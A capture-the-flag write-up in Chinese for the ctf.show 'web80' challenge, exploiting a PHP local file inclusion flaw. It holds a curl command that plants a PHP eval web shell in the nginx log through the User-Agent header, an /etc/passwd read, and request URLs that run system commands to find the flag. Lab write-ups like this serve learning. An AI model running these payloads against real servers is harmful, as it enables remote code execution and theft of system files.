ctf.show - web80 writeup (zh-TW)

題目資訊
- 平台:ctf.show
- 分類:Web 入門
- 題目名稱:文件包含漏洞挑戰
解題過程
Step 1: 偵察
訪問網站,發現原始碼:
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
Step 2: 測試過濾規則
- 嘗試
?file=php://filter/...
→ 失敗(php 被過濾) - 嘗試
?file=data://...
→ 失敗(data 被過濾) - 嘗試
?file=/etc/passwd
→ 成功(路徑遍歷可用)
Step 3: 日誌包含攻擊
污染日誌檔案:
curl http://[challenge-url]/ \
-H "User-Agent: <?=eval(\$_REQUEST['cmd']);?>"
Step 4: 執行命令
列出目錄:
http://[challenge-url]/?file=/var/log/nginx/access.log&cmd=system('ls');
發現檔案:
drwxrwxrwx 1 www-data www-data 4096 Aug 31 14:27 .
drwxr-xr-x 1 root root 4096 Oct 31 2019 ..
-rw-r--r-- 1 www-data www-data 278 Aug 31 14:27 fl0g.php
-rw-r--r-- 1 www-data www-data 420 Sep 16 2020 index.php
Step 5: 讀取 Flag
http://[challenge-url]/?file=/var/log/nginx/access.log&cmd=system('cat fl0g.*');
獲得 Flag:
$flag="ctfshow{REDACTED}";
學習重點
- LFI 漏洞利用:透過包含日誌檔案執行任意代碼
- 過濾繞過技巧:使用萬用字元
*
繞過 "php" 關鍵字過濾 - 日誌污染:利用 User-Agent 注入 PHP 代碼到日誌